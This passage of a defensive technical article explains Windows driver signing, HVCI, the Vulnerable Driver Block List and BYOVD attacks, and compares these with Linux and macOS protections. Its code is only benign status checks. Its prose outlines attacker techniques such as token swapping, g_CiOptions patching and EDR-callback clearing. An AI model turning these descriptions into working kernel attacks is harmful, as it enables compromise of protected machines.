    E -- &quot;Yes&quot; --&amp;gt; X
    E -- &quot;No&quot; --&amp;gt; F[Gate 3: HVCI / SKCI section mapping]
    F --&amp;gt; G{&quot;Signature OK, W^X satisfied?&quot;}
    G -- &quot;No&quot; --&amp;gt; X
    G -- &quot;Yes&quot; --&amp;gt; H[Gate 4: App Control / SAC]
    H --&amp;gt; I{&quot;On allowlist or reputable?&quot;}
    I -- &quot;No&quot; --&amp;gt; X
    I -- &quot;Yes&quot; --&amp;gt; J[Gate 5: Defender ASR rule applicable]
    J --&amp;gt; K[Driver loads into VTL0 kernel]
&lt;h3&gt;Verifying what the machine actually does&lt;/h3&gt;
&lt;p&gt;The state of the stack on any given Windows machine is observable. The Win32_DeviceGuard WMI class exposes a &lt;code&gt;SecurityServicesRunning&lt;/code&gt; array whose integer codes name the security services currently active. The aside below covers the practitioner-facing details.&lt;/p&gt;

Two commands answer most of the question. From an elevated PowerShell prompt, `Get-CimInstance -Namespace root\Microsoft\Windows\DeviceGuard -ClassName Win32_DeviceGuard` returns a structure whose `SecurityServicesRunning` array enumerates the services in operation; a value of **1** indicates **Credential Guard**, a value of **2** indicates **HVCI / Memory Integrity**, and additional values cover newer services (System Guard Secure Launch, SMM Firmware Measurement, Kernel-mode Hardware-enforced Stack Protection, and Hypervisor-Enforced Paging Translation) [@ms-hvci-vbs]. `bcdedit /enum {default}` shows whether `hypervisorlaunchtype` is set to `Auto`, the prerequisite for VBS being on at all. The block list file itself lives at `%windir%\system32\CodeIntegrity\DriverSiPolicy.p7b`; if it is missing, the in-box list is not deployed on that machine. None of these tell you whether your Defender ASR rule is active without a separate `Get-MpPreference` check.
&lt;p&gt;A toy decoder helps make the WMI surface concrete.&lt;/p&gt;
&lt;p&gt;{`
// Mirror of the integer codes the Win32_DeviceGuard WMI class reports
// for SecurityServicesRunning. Documented on Microsoft Learn under
// the Memory Integrity / HVCI guidance.&lt;/p&gt;
&lt;p&gt;const SERVICE_NAMES = {
  1: &quot;Credential Guard&quot;,
  2: &quot;Hypervisor-protected Code Integrity (HVCI / Memory Integrity)&quot;,
  3: &quot;System Guard Secure Launch&quot;,
  4: &quot;SMM Firmware Measurement&quot;,
  5: &quot;Kernel-mode Hardware-enforced Stack Protection&quot;,
  6: &quot;Kernel-mode Hardware-enforced Stack Protection (Audit mode)&quot;,
  7: &quot;Hypervisor-Enforced Paging Translation&quot;,
};&lt;/p&gt;
&lt;p&gt;function explain(servicesRunning) {
  if (!servicesRunning.length) {
    return &quot;No VBS-rooted security services are running on this device.&quot;;
  }
  return servicesRunning
    .map((code) =&amp;gt; SERVICE_NAMES[code] || (&quot;unknown service &quot; + code))
    .map((s) =&amp;gt; &quot;  - &quot; + s)
    .join(&quot;\n&quot;);
}&lt;/p&gt;
&lt;p&gt;console.log(&quot;Sample 1: HVCI on, Credential Guard on&quot;);
console.log(explain([1, 2]));
console.log(&quot;\nSample 2: nothing running&quot;);
console.log(explain([]));
console.log(&quot;\nSample 3: full stack on a Secured-core PC&quot;);
console.log(explain([1, 2, 3, 4, 5]));
`}&lt;/p&gt;
&lt;p&gt;Five gates is a lot of work to do what one ideal gate could not. The reason for the inflation is uncomfortable: the one ideal gate cannot, in principle, exist.&lt;/p&gt;
&lt;h2&gt;9. The Undecidability Wall&lt;/h2&gt;
&lt;p&gt;Why does Windows need five layers to do what one perfect signature ought to do? Because the perfect signature is mathematically impossible.&lt;/p&gt;
&lt;p&gt;The third reframe of this article is the one that turns engineering frustration into theoretical inevitability. The property of interest -- &quot;this signed driver, when exercised through its IOCTL surface, can be coerced into giving an attacker an arbitrary kernel-write primitive&quot; -- is a non-trivial semantic property of the driver&apos;s program text. Rice&apos;s theorem says that for any non-trivial semantic property of programs, the predicate is undecidable on the class of all programs. No algorithm exists that, in finite time, answers correctly for every input.&lt;/p&gt;
&lt;p&gt;A useful way to state the bound: if $P$ is the set of all kernel drivers and $\text{Unsafe}(p) = 1$ iff driver $p$ exposes a kernel-write primitive through its IOCTL handler, then no total computable function $f: P \to {0, 1}$ satisfies $f = \text{Unsafe}$. Every approximation either over-blocks ($f(p) = 1$ when $\text{Unsafe}(p) = 0$, false positives, broken drivers) or under-blocks ($f(p) = 0$ when $\text{Unsafe}(p) = 1$, false negatives, BYOVD in the wild). The signing pipeline scans for the obvious cases; sophisticated dynamic analysers will catch more of the not-obvious cases; but the unrestricted version of the problem has no complete solution.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Whether an arbitrary signed driver can be coerced into giving an attacker a kernel-write primitive is undecidable. No static signing scheme can ever block exactly the unsafe drivers. The Windows answer is therefore not a single perfect gate; it is defence in depth that narrows, but does not close, the gap.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Microsoft&apos;s formal acknowledgement&lt;/h3&gt;
&lt;p&gt;Microsoft has been formally clear about a related point for years: the administrator-to-kernel transition is not, in the MSRC servicing-criteria [@elastic-admin] sense, a security boundary [@elastic-admin]. Elastic Security Labs put the position in plain English: &quot;the blocklist&apos;s deployment model can be slow to adapt to new threats, with updates automatically deployed typically only once or twice a year. Users can manually update their blocklists, but such interventions bring us out of &apos;secure by default&apos; territory ... When determining which vulnerabilities to fix, the Microsoft Security Response Center (MSRC) uses the concept of a security boundary.&quot; [@elastic-admin]&lt;/p&gt;

Administrator-to-kernel is not a security boundary, in the MSRC servicing-criteria sense. The defence-in-depth mechanisms described here mitigate it; from the impossibility result, none can close it.
&lt;p&gt;The MSRC framing is engineering policy. The undecidability result is theoretical inevitability. They land in the same place: an attacker who has administrator privilege, who can pick from the entire history of signed Windows drivers, who is patient, is not stopped by any number of signature checks. The defence-in-depth mechanisms make the attacker work harder; they raise the cost; they shrink the surface of viable signed drivers. They do not close the structural gap.&lt;/p&gt;
&lt;h3&gt;Closeable gaps and irreducible gaps&lt;/h3&gt;
&lt;p&gt;It is worth separating two kinds of gap.&lt;/p&gt;
&lt;p&gt;The published-vs-shipped block list gap is a &lt;em&gt;policy&lt;/em&gt; decision, not an engineering limit. Microsoft documents that &quot;it&apos;s often necessary for us to hold back some blocks to avoid breaking existing functionality.&quot; [@ms-driver-block-rules]The published-vs-shipped gap is the closeable part. An administrator who can author or import an App Control policy can deploy the published XML directly and pick up Microsoft&apos;s full curation. The irreducible part of the gap sits behind it: even the published list lists only what someone has already disclosed. The undecidability result applies to &lt;em&gt;finding&lt;/em&gt; unsafe drivers, not to &lt;em&gt;listing&lt;/em&gt; known-unsafe ones. Defenders willing to accept compatibility risk can close it on their own machines today.&lt;/p&gt;
&lt;p&gt;The gap that cannot close is the one between the published list and the universe of vulnerable drivers Microsoft has not yet learned about. That is where the undecidability result bites. No amount of pipeline tightening eliminates the class of design flaws whose recognition requires understanding what the driver&apos;s IOCTL handler will do under all possible inputs.&lt;/p&gt;
&lt;h3&gt;What static methods &lt;em&gt;can&lt;/em&gt; achieve&lt;/h3&gt;
&lt;p&gt;Quantifying what the existing layers achieve is more useful than lamenting what they cannot. The complexity bounds for each layer are well-defined.&lt;/p&gt;
&lt;p&gt;Authenticode signature verification is bounded below by one public-key operation and one cryptographic hash over the PE image, regardless of policy. SKCI&apos;s per-section cost is dominated by that constant. The Memory Integrity page is conspicuously silent on a published benchmark number; in practice the overhead is small but non-zero on Intel Kabylake-and-later or AMD Zen-2-and-later silicon with MBEC/GMET hardware acceleration, and meaningfully higher on the emulated Restricted-User-Mode fallback path that older silicon falls back to [@ms-hvci-vbs].&lt;/p&gt;
&lt;p&gt;WDAC allowlist evaluation is $O(\log r)$ per image on $r$ rules with a hashed index, or $O(r)$ on the naïve linear scan; the deny-rule check in &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; follows the same bound.&lt;/p&gt;
&lt;p&gt;The gap between achievable static enforcement and the ideal &quot;block all and only the unsafe drivers&quot; is, in the limit, irreducible.&lt;/p&gt;
&lt;h3&gt;Three axes that can be improved&lt;/h3&gt;
&lt;p&gt;If the gap cannot close, it can be narrowed along three independent axes -- and the improvements that matter, look like one of these:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reactiveness.&lt;/strong&gt; The disclosure-to-enforcement latency is months today. Forthcoming WHCP submission-time analyses can compress it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Coverage of unknown-bad signed drivers.&lt;/strong&gt; Reputation, allowlists, and dynamic analysis at scale extend coverage beyond what a static deny list lists.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Visibility into binary contents.&lt;/strong&gt; SBOMs answer &quot;what is inside this driver?&quot; -- a question the signature alone never asked.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each axis is the answer to a different blind spot. None substitutes for another. Section 11 returns to the SBOM axis specifically because it is the one Microsoft is building into the submission flow right now.&lt;/p&gt;
&lt;p&gt;Static signing has hit a wall it cannot push through. The only way forward is to widen the question. Two of the answers exist on other operating systems. The third is being built now.&lt;/p&gt;
&lt;h2&gt;10. The Other Two Operating Systems&lt;/h2&gt;
&lt;p&gt;Linux solved the signing half and pushed the curated-denylist half down to distribution vendors. macOS solved both by making third-party drivers stop being drivers.&lt;/p&gt;
&lt;h3&gt;Linux: signatures without a curated denylist&lt;/h3&gt;
&lt;p&gt;Linux has supported in-kernel module signing since version 3.7 (December 2012), under the configuration symbol &lt;code&gt;CONFIG_MODULE_SIG&lt;/code&gt;. The kernel documentation [@docs-kernel-module-sig] catalogues the supported algorithms: &quot;The built-in facility currently only supports the RSA, NIST P-384 ECDSA and NIST FIPS-204 ML-DSA public key signing standards.&quot; [@docs-kernel-module-sig] The choice of signature scheme is a build-time decision, and the kernel can be told to use a key embedded in the kernel image, a key loaded into the trusted keyring at runtime, or a Machine Owner Key managed by &lt;code&gt;shim&lt;/code&gt; and the platform&apos;s UEFI boot stack.&lt;/p&gt;
&lt;p&gt;The structural decision that matters is the enforcement mode. &lt;code&gt;CONFIG_MODULE_SIG_FORCE&lt;/code&gt; is the toggle. The kernel documentation describes the two settings cleanly: &quot;If this is off (ie. &apos;permissive&apos;), then modules for which the key is not available and modules that are unsigned are permitted, but the kernel will be marked as being tainted ... If this is on (ie. &apos;restrictive&apos;), only modules that have a valid signature that can be verified by a public key in the kernel&apos;s possession will be loaded.&quot; [@docs-kernel-module-sig]&lt;/p&gt;
&lt;p&gt;Most mainstream distributions ship permissive: unsigned modules taint the kernel but load. The defender-shipping-restrictive-enforcement model is real on Secure-Boot-on RHEL and modern Ubuntu, paired with the Linux &lt;em&gt;lockdown&lt;/em&gt; security module, which restricts certain root-level kernel-modification paths even on signed builds.The Linux lockdown LSM is the closest mainline-Linux analogue to HVCI&apos;s policy-out-of-reach property. The &lt;code&gt;kernel_lockdown(7)&lt;/code&gt; man page [@man7-kernel-lockdown] describes lockdown as &quot;designed to prevent both direct and indirect access to a running kernel image&quot; and enumerates the restricted surfaces: &lt;code&gt;/dev/mem&lt;/code&gt;, &lt;code&gt;/dev/kmem&lt;/code&gt;, &lt;code&gt;/dev/kcore&lt;/code&gt;, kprobes, BPF, MSR alteration, ACPI table overrides, and unsigned kexec [@man7-kernel-lockdown]. It is a partial analogue, not equivalent: lockdown still runs in the same trust domain as the kernel it polices, so a sufficient kernel exploit defeats it. HVCI&apos;s VTL0/VTL1 split is structurally stronger.&lt;/p&gt;
&lt;p&gt;What Linux does not have is the equivalent of &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt;. There is no kernel-level curated denylist of &quot;we have learned this module is unsafe; refuse to load it by name&quot;. Defenders rely on per-distribution CVE trackers, on &lt;code&gt;modprobe.blacklist&lt;/code&gt;, and on &lt;code&gt;udev&lt;/code&gt; rules to keep specific modules out. The G5 generation -- naming the &lt;em&gt;weakness&lt;/em&gt; rather than the publisher -- has no mainline Linux equivalent at the kernel-loader level.&lt;/p&gt;
&lt;h3&gt;macOS: DriverKit removes the surface&lt;/h3&gt;
&lt;p&gt;Apple&apos;s answer is structurally different. Starting with macOS Catalina 10.15 [@apple-legacy-extensions] in 2019, Apple deprecated legacy kernel extensions for third parties and pushed them onto the DriverKit [@apple-driverkit] framework instead [@apple-legacy-extensions] [@apple-driverkit].&lt;/p&gt;

Apple&apos;s user-space driver framework, introduced with macOS Catalina 10.15. Third-party drivers ship as `.dext` user-space extensions linked against a curated IOKit subset; they receive IOKit messages from the kernel and respond with the same operations they used to perform in ring zero, but the code itself runs in user mode under sandbox restrictions. The kernel side of the new model exposes a controlled message surface; the third-party side cannot directly execute kernel code.
&lt;p&gt;A &lt;code&gt;.dext&lt;/code&gt; runs in user space under a sandbox profile. It can claim devices, register for IOKit interrupts, and exchange messages with kernel-side broker code -- but it cannot, in any usable sense, execute arbitrary code in the kernel address space. The Capcom.sys class of vulnerability cannot be expressed in DriverKit: there is no IOCTL surface whose handler runs in ring zero, because the handler does not run in ring zero. Apple reinforces the boundary further with System Integrity Protection [@apple-sip] (since 2015) and, on Apple Silicon, Kernel Integrity Protection (KIP), which makes the kernel page tables read-only after boot [@apple-sip].&lt;/p&gt;
&lt;p&gt;The price was paid by Apple&apos;s IHV community. Whole categories of third-party drivers -- deep audio, virtualisation, certain security tools -- spent years migrating, and some categories took multiple macOS releases before a DriverKit equivalent of a particular kext capability existed. Apple Silicon requires explicit reduced-security mode to load &lt;em&gt;any&lt;/em&gt; legacy kext at all: Apple&apos;s Platform Security guide [@apple-kext-aux] records that &quot;Kexts must be explicitly enabled for a Mac with Apple silicon by holding the power button at startup to enter into One True Recovery (1TR) mode, then downgrading to Reduced Security and checking the box to enable kernel extensions&quot; [@apple-kext-aux].&lt;/p&gt;
&lt;h3&gt;Why Windows cannot copy Apple&lt;/h3&gt;
&lt;p&gt;The reason Windows cannot make Apple&apos;s move in the short term is operational, not architectural. Windows&apos; IHV installed base is orders of magnitude larger and less centrally controlled. Microsoft does not own its hardware vendors the way Apple owns Macs. Breaking compatibility with twenty years of shipped kernel drivers would impose unbounded migration cost on third parties Microsoft cannot direct.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Windows (2026)&lt;/th&gt;
&lt;th&gt;Linux (mainline + RHEL-class hardening)&lt;/th&gt;
&lt;th&gt;macOS (Catalina+ / Apple Silicon)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Default signature enforcement&lt;/td&gt;
&lt;td&gt;Mandatory on x64 since 2006&lt;/td&gt;
&lt;td&gt;Permissive (taints kernel); restrictive on hardened distros&lt;/td&gt;
&lt;td&gt;Mandatory; legacy kexts deprecated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Curated denylist of signed-but-vulnerable artefacts&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt;, default-on since 22H2&lt;/td&gt;
&lt;td&gt;None at kernel loader; per-distro CVE trackers&lt;/td&gt;
&lt;td&gt;Not needed -- third-party kexts removed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Policy engine isolated from kernel it polices&lt;/td&gt;
&lt;td&gt;HVCI in VTL1&lt;/td&gt;
&lt;td&gt;Lockdown LSM (same trust domain)&lt;/td&gt;
&lt;td&gt;KIP and SIP on Apple Silicon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Third-party drivers in kernel&lt;/td&gt;
&lt;td&gt;Yes, still the model&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No -- DriverKit user-space dexts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Operational price of the model&lt;/td&gt;
&lt;td&gt;Compatibility carve-outs, opt-outs&lt;/td&gt;
&lt;td&gt;Permissive default&lt;/td&gt;
&lt;td&gt;Multi-year IHV migration&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Windows cannot move drivers to user space at Apple&apos;s speed. But it can look at &lt;em&gt;what is inside&lt;/em&gt; a driver in a way the signature alone never could. And it has been quietly building that capability since 2022.&lt;/p&gt;
&lt;h2&gt;11. What Comes Next: SBOM, Artifact Signing, Dynamic Analysis&lt;/h2&gt;
&lt;p&gt;If signatures cannot answer &quot;is this driver safe&quot;, and the block list can only ever answer &quot;is this driver known-unsafe&quot;, the next question Windows has to learn how to ask is &quot;what is inside this driver?&quot;&lt;/p&gt;
&lt;h3&gt;SBOM for drivers&lt;/h3&gt;
&lt;p&gt;A Software Bill of Materials is a structured inventory of the components, dependencies, and versions inside a software artefact. The mainstream community formats are SPDX (now at version 3.0) and CycloneDX; Microsoft contributes to and ships an open-source tool, microsoft/sbom-tool [@gh-sbom-tool], that produces SPDX-compatible SBOMs as part of a build pipeline [@gh-sbom-tool]. The repository description is plain: &quot;The SBOM tool is a highly scalable and enterprise ready tool to create SPDX 2.2 and SPDX 3.0 compatible SBOMs for any variety of artifacts. The tool uses the Component Detection libraries to detect components and the ClearlyDefined API to populate license information for these components.&quot; [@gh-sbom-tool]&lt;/p&gt;

A machine-readable inventory of components and dependencies inside a software artefact. For a Windows kernel driver, an SBOM lists the third-party static libraries linked into the PE, the open-source code paths bundled with the driver, and the versions of each, in a format (SPDX, CycloneDX) that automated tools can consume to answer &quot;is any component of this driver subject to a known vulnerability?&quot;
&lt;p&gt;The piece that affects Windows drivers specifically is the Windows Hardware Compatibility Program SBOM requirement. The Microsoft Q&amp;amp;A entry on Hardware Dev Center and CRA compliance [@ms-qa-cra] is candid: &quot;The WHCP SBOM requirement (Device.DevFund.Security.SoftwareBillofMaterials) has been deferred and will only be enforced starting in H2 2026.&quot; [@ms-qa-cra] The deferral aligns the WHCP rollout with the European Union&apos;s Cyber Resilience Act compliance window.&lt;/p&gt;

The EU Cyber Resilience Act sets phased compliance obligations for products with digital elements sold into the EU market. Among them is a requirement to produce a machine-readable SBOM that customers and regulators can inspect. Microsoft&apos;s WHCP SBOM mandate, scheduled for H2 2026, is the Windows-specific implementation of the same requirement, applied to kernel drivers submitted through the Hardware Dev Center. For regulated-industry IHVs, the WHCP gate and the CRA gate land at the same time and concern the same artefact [@ms-qa-cra].
&lt;p&gt;There is a structural problem an SBOM does not solve on its own. If the SBOM ships separately from the driver, an attacker who controls the distribution path can substitute a clean-looking SBOM for a contaminated driver. The WHCP submission flow is expected to bind the SBOM cryptographically to the artefact it describes so that a recipient can verify the binding, but the public documentation for the binding mechanism is still light beyond the WHCP SBOM mandate itself [@ms-qa-cra] [@ms-qa-cra].&lt;/p&gt;
&lt;h3&gt;Dynamic analysis at submission time&lt;/h3&gt;
&lt;p&gt;The other axis of improvement is reactiveness. Today, the typical disclosure-to-enforcement cycle for a new BYOVD driver looks like this: vendor ships, attacker exploits, researcher discloses, Microsoft adds to the quarterly published list, Windows servicing pushes to clients. The latency is months. Two recent research programmes show how dynamic analysis at scale can compress it.&lt;/p&gt;
&lt;p&gt;The first is the EURECOM/Politecnico di Milano NDSS 2026 paper on the authors&apos; publication page [@eurecom-paper]. The team built a DRAKVUF-based instrumentation layer called Kernelmon and traced every kernel function executed by signed drivers under malware-loaded workloads [@eurecom-paper]. The numbers are unusually concrete: the paper PDF [@eurecom-paper-pdf] reports that the team &quot;analyzed 8,779 malware samples that load 773 distinct signed drivers. It flagged suspicious behavior in 48 drivers, and subsequent manual verification led to the responsible disclosure of seven previously unknown vulnerable drivers&quot; [@eurecom-paper-pdf]. The companion S3 blog post [@eurecom-s3-blog] corroborates the 48-flagged / 7-disclosed numbers and notes that one of the seven received CVE-2024-26506 [@eurecom-s3-blog]. The technique is dynamic: it runs the driver under a hypervisor, watches what its IOCTL handlers actually do, and flags patterns characteristic of the BYOVD class.&lt;/p&gt;
&lt;p&gt;The second is Check Point Research&apos;s 2024 work [@cpr-byovd], which built a mass-hunt methodology around import-table signatures of risky kernel APIs and ran it across the global driver corpus. &quot;Using the same methodology, we conducted a mass hunt for new drivers that may be vulnerable, uncovering thousands of potentially at-risk drivers.&quot; [@cpr-byovd] The technique is static: it asks &lt;em&gt;what does the driver import?&lt;/em&gt; rather than &lt;em&gt;what does it do under exercise?&lt;/em&gt; Combined, the two approaches cover complementary halves of the surface.&lt;/p&gt;
&lt;p&gt;Neither currently gates Hardware Dev Center submissions. Both are candidates for the kind of submission-time check that would compress disclosure-to-enforcement latency from quarters to days.&lt;/p&gt;
&lt;h3&gt;Empirical patterns the defences have to recognise&lt;/h3&gt;
&lt;p&gt;Cisco Talos&apos;s BYOVD work, summarised in their &lt;em&gt;Exploring vulnerable Windows drivers&lt;/em&gt; post [@talos-byovd], classifies the post-load payloads attackers actually run [@talos-byovd]. Three behaviour classes dominate: token-swap escalation that overwrites the access token in the &lt;code&gt;_EPROCESS&lt;/code&gt; structure to reach SYSTEM; unsigned-code-loading that uses the kernel-write primitive to disable DSE or patch CI state; and EDR-killing that clears the kernel callback registrations endpoint detection products rely on. Each is a target for the dynamic analyses above, each is detectable by import-table heuristics, and each is what defenders see in the wild today.&lt;/p&gt;
&lt;p&gt;The historical roots are old. The Microsoft Security blog tracing the Vulnerable &amp;amp; Malicious Driver Reporting Center is direct: &quot;Multiple malware attacks, including RobinHood, Uroburos, Derusbi, GrayFish, and Sauron, have leveraged driver vulnerabilities (for example CVE-2008-3431, CVE-2013-3956, CVE-2009-0824, and CVE-2010-1592).&quot; [@ms-vdrc-blog] The payload classes have stayed remarkably stable for fifteen years.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The structural gap between &lt;em&gt;signed&lt;/em&gt; and &lt;em&gt;safe&lt;/em&gt; cannot close. It can be narrowed along three independent axes. Reactiveness: how long disclosure-to-enforcement takes (closeable by submission-time dynamic analysis along the lines of the EURECOM NDSS 2026 paper [@eurecom-paper] [@eurecom-paper] and Check Point&apos;s mass-hunt methodology [@cpr-byovd] [@cpr-byovd]). Coverage of unknown-bad signed drivers (extended by reputation-backed allowlists like Smart App Control and by WDAC enterprise policies). Visibility into binary contents (the H2 2026 WHCP SBOM mandate [@ms-qa-cra] and the SBOM-to-artefact binding the submission flow is expected to enforce [@ms-qa-cra]). Each axis closes a different blind spot. None substitutes for another.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Threats the stack cannot yet absorb&lt;/h3&gt;
&lt;p&gt;Three problems remain open and uncovered by the published roadmap. The Smart App Control cold-start window leaves small IHVs whose drivers have no cloud reputation to fall through to signature, and signature alone is exactly what we already established does not answer the question. BYOVD on HVCI-off environments, prevalent in older anti-cheat configurations and on enterprise machines with legacy ISV drivers, still admits the &lt;code&gt;g_CiOptions&lt;/code&gt;-patching family from VTL0 because there is no VTL1 to keep the policy out of reach. And the shipped-vs-published block list gap, while operationally rational and individually closeable by a willing administrator, is a gap any default-on customer carries.&lt;/p&gt;
&lt;p&gt;None of those closes by algorithmic improvement. Each closes only by widening the question.&lt;/p&gt;
&lt;p&gt;What started as a yes/no signature check has become a continually expanding set of questions Windows asks before it will hand a driver the keys to ring zero. None of those questions is sufficient. All of them are necessary. And the next one is already being written into the WHCP submission flow.&lt;/p&gt;
&lt;h2&gt;12. What This Means in Practice&lt;/h2&gt;
&lt;p&gt;Three audiences, three things to do.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Administrators.&lt;/strong&gt; Confirm the stack is on. &lt;code&gt;Get-CimInstance -Namespace root\Microsoft\Windows\DeviceGuard -ClassName Win32_DeviceGuard&lt;/code&gt; returns a &lt;code&gt;SecurityServicesRunning&lt;/code&gt; array; a &lt;code&gt;2&lt;/code&gt; in the array confirms HVCI. A &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; in &lt;code&gt;%windir%\system32\CodeIntegrity\&lt;/code&gt; confirms the in-box block list is deployed. If you can tolerate the compatibility risk, compile the published block-rules XML [@ms-driver-block-rules] into an App Control policy and deploy it (audit mode first) [@ms-driver-block-rules]. If you run Windows Server 2016, you have to deploy an explicit policy yourself because the in-box default does not apply there [@ms-driver-block-rules]. If you ship through the Hardware Dev Center, schedule the H2 2026 WHCP SBOM gate now [@ms-qa-cra]. Subscribe to the Vulnerable &amp;amp; Malicious Driver Reporting Center cadence for new disclosures [@ms-vdrc-blog].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Driver authors.&lt;/strong&gt; Assume your IOCTL surface will be read by Check Point&apos;s import-table mass hunt [@cpr-byovd] and exercised by EURECOM&apos;s Kernelmon [@eurecom-paper] [@cpr-byovd] [@eurecom-paper]. Any handler that takes a user-supplied address and returns kernel data, or that dispatches a user-supplied function pointer, will end up on a block list on its current trajectory.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Researchers.&lt;/strong&gt; The field is wide open. The undecidability result is real, but the practical gap between what current analyses detect and what is, in principle, detectable for any specific vulnerability class is large. The NDSS 2026 paper found seven CVE-worthy drivers in a corpus of 773. The next paper will find more.&lt;/p&gt;
&lt;h3&gt;Every layer is somebody&apos;s incident report&lt;/h3&gt;
&lt;p&gt;Every layer in the 2026 stack exists because the previous one lost to a named adversary. Sony BMG XCP retired advisory signing. Stuxnet retired the assumption that a valid chain is a safe chain. Capcom.sys retired the assumption that a safe chain is a safe driver. RTCore64.sys, gdrv.sys, and KProcessHacker retired the assumption that the BYOVD class would burn itself out. Each entry on &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; is somebody&apos;s incident report, recorded in the most permanent place Microsoft can put it -- the kernel loader&apos;s deny list.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Windows 11 22H2 ships with a list of drivers Microsoft will not load. The next list will be longer. The story has been adversarial since 1996 and the trajectory does not reverse: every layer was added because the previous one met an attacker. The structural gap is undecidable; the engineering gap, narrowable; the work, unfinished.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;


No. HVCI verifies the Authenticode signature at section-mapping time and enforces a write-xor-execute invariant on kernel memory; it does not analyse the driver&apos;s IOCTL surface. A signed driver with an unsafe IOCTL passes HVCI unchanged and proceeds to execute its handler in kernel mode with kernel privilege. That is what the Vulnerable Driver Block List is for: HVCI gates *who decides*; the block list gates *what gets decided*. See the Memory Integrity page [@ms-hvci-vbs] [@ms-hvci-vbs].

Yes. Microsoft publishes the source XML on the Microsoft-recommended driver block rules page [@ms-driver-block-rules] [@ms-driver-block-rules]. You can compile it into a binary App Control policy with the standard tooling and deploy it directly, picking up entries Microsoft holds back from the in-box list. Test in audit mode first because the published list is more inclusive than the shipped list and may flag drivers your environment depends on. Many defenders layer the LOLDrivers App Control policy [@gh-loldrivers] on top for community-curated coverage [@gh-loldrivers].

Windows Server 2016 does not enforce the block list by default, even when Memory Integrity is on. The block-rules page [@ms-driver-block-rules] calls this out explicitly [@ms-driver-block-rules]. If you administer Server 2016, deploy an explicit App Control policy to get the same coverage as the default-on 22H2 client.

App Control for Business (the engine formerly known as WDAC) is a policy *you* author. You define what signers, hashes, and paths are allowed; you ship and enforce the policy yourself. Smart App Control is a Microsoft-authored policy bundled with cloud reputation lookups via the Intelligent Security Graph. SAC is the consumer-friendly front end; App Control is the enterprise back end. SAC&apos;s default policy ships at `%windir%\schemas\CodeIntegrity\ExamplePolicies\SmartAppControl.xml`. SAC is consumer-only and turns itself off after 48 hours on enterprise-managed devices, where the expectation is that the operator deploys an App Control policy directly. See the Smart App Control FAQ [@ms-sac-faq] and the App Control for Business overview [@ms-appcontrol] [@ms-sac-faq] [@ms-appcontrol].

Increasingly yes. Major anti-cheat vendors have shipped HVCI-compatible kernel components since around 2023, but a meaningful tail of older configurations still requires HVCI off. On those configurations, the `g_CiOptions`-patching technique TrustedSec describes [@trustedsec-gcioptions] is back in play because the policy variable is no longer protected behind VTL1 [@trustedsec-gcioptions]. Audit your gaming-rig population if you care about coverage.

The in-box block list is Microsoft-curated with explicit compatibility holdbacks; the LOLDrivers catalogue [@loldrivers-io] is community-curated, considerably more inclusive (approximately 2,132 entries as of the source verification for this article), and ships with App Control deny policies, Sigma, YARA, ClamAV, and Sysmon detection content alongside the entries [@loldrivers-io] [@gh-loldrivers]. For threat hunting, use both. For enforcement, layer the LOLDrivers App Control policy on top of the in-box list if your environment can tolerate the compatibility risk. Check Point Research [@cpr-byovd] has documented the dual-use externality of any such public list -- attackers also read them -- but the defender net benefit of broader coverage outweighs the marginal attacker advantage on most environments [@cpr-byovd].

&lt;p&gt;&amp;lt;StudyGuide slug=&quot;vulnerable-driver-block-list-hvci-and-the-driver-signing-lifecycle&quot; keyTerms={[
  { term: &quot;Authenticode&quot;, definition: &quot;Microsoft&apos;s PKCS#7 code-signing format, used in Windows since 1996. Attests to publisher identity; does not analyse program behaviour.&quot; },
  { term: &quot;KMCS&quot;, definition: &quot;Kernel-Mode Code Signing. The mandatory load-time signature policy on 64-bit Windows since Vista x64 in 2006.&quot; },
  { term: &quot;BYOVD&quot;, definition: &quot;Bring Your Own Vulnerable Driver. An attack pattern in which an adversary installs a signed but design-vulnerable third-party driver to gain kernel capability.&quot; },
  { term: &quot;HVCI&quot;, definition: &quot;Hypervisor-protected Code Integrity, also called Memory Integrity. The Code Integrity engine running in VTL1 under a Hyper-V root, isolated from the VTL0 kernel.&quot; },
  { term: &quot;VTL&quot;, definition: &quot;Virtual Trust Level. VTL0 is the normal Windows kernel; VTL1 is the Secure Kernel and trustlets. VTL1 can read VTL0 memory but not vice versa.&quot; },
  { term: &quot;DriverSiPolicy.p7b&quot;, definition: &quot;The Microsoft-signed App Control deny policy that lists known-vulnerable signed kernel drivers and is default-on for all Windows 11 22H2 client devices.&quot; },
